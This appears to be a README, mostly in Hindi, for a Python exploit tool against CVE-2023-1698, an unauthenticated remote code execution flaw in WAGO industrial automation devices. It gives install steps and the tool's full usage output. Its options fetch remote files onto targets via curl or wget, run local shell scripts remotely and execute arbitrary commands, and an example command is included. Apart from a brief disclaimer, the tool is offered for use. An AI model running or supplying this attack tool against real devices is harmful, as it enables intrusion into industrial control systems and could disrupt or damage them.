
WAGO सिस्टम रिमोट कोड निष्पादन भेद्यता (CVE-2023-1698)
WAGO सिस्टम रिमोट कोड एक्सिक्यूशन भेद्यता (CVE-2023-1698)
मैंने स्थानीय परीक्षण और POC विकास के लिए एक उपकरण विकसित किया है, जो केवल तकनीकी सीखने के संदर्भ के लिए है। कृपया इसका उपयोग अवैध उद्देश्यों के लिए न करें। इस लेख में दी गई जानकारी का उपयोग करके व्यक्तियों या संगठनों द्वारा होने वाले किसी भी प्रत्यक्ष या अप्रत्यक्ष परिणाम और हानि की जिम्मेदारी उपयोगकर्ता स्वयं वहन करेगा और लेखक से कोई संबंध नहीं है!!!

WAGO एक कंपनी है जो विद्युत इंटरकनेक्शन, ऑटोमेशन और इंटरफेस इलेक्ट्रॉनिक प्रौद्योगिकी में विशेषज्ञता रखती है। WAGO के कई उत्पादों में एक ऐसी भेद्यता है जो अप्रमाणित रिमोट हमलावरों को नए उपयोगकर्ता बनाने और डिवाइस कॉन्फ़िगरेशन बदलने की अनुमति देती है, जिससे रिमोट RCE, सेवा से इनकार और पूरे सिस्टम को नुकसान हो सकता है।
pip install -r requirements.txt
python "WAGO-CVE-2023-1698 .py" -h
usage: WAGO-CVE-2023-1698 .py [-h] (-u URL | -f FILE)
[--remote-file-include REMOTE_FILE_INCLUDE | --local-file-include LOCAL_FILE_INCLUDE | --remote-command REMOTE_COMMAND]
[--random-agent RANDOM_AGENT] [-d DELAY] [-t THREAD] [--proxy PROXY] [--type TYPE] [-o OUTPUT]
WAGO System Remote Code Execution Vulnerability (CVE-2023-1698)
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Enter target object
-f FILE, --file FILE Input target object file
--remote-file-include REMOTE_FILE_INCLUDE
Enter the filepath(it must be On the public network)
--local-file-include LOCAL_FILE_INCLUDE
Enter the filepath(it must be On the local)
--remote-command REMOTE_COMMAND
Enter the command you want to execute
--random-agent RANDOM_AGENT
Using random user agents
-d DELAY, --delay DELAY
Set multi threaded access latency (setting range from 0 to 5)
-t THREAD, --thread THREAD
Set the number of program threads (setting range from 1 to 50)
--proxy PROXY Set up the proxy
--type TYPE Set up the remote upload file type
-o OUTPUT, --output OUTPUT
output filename
—remote-file-include, एक रिमोट फ़ाइल URL निर्दिष्ट करें, जो curl या wget के माध्यम से फ़ाइल को tmp निर्देशिका या वर्तमान निर्देशिका में अपलोड करेगा। Specify a remote file URL, which will upload the file to the tmp directory or current directory through curl or wget —local-file-include, स्थानीय शेल स्क्रिप्ट फ़ाइल को पार्स करें और उसे दूरस्थ रूप से निष्पादित करें। Parse local shell script files and execute them remotely —remote-command REMOTE एक सिस्टम कमांड निष्पादित करें। Execute a system command
python wago.py -u ** --proxy http://127.0.0.1:10809 --remote-command "cat /var/log/wago"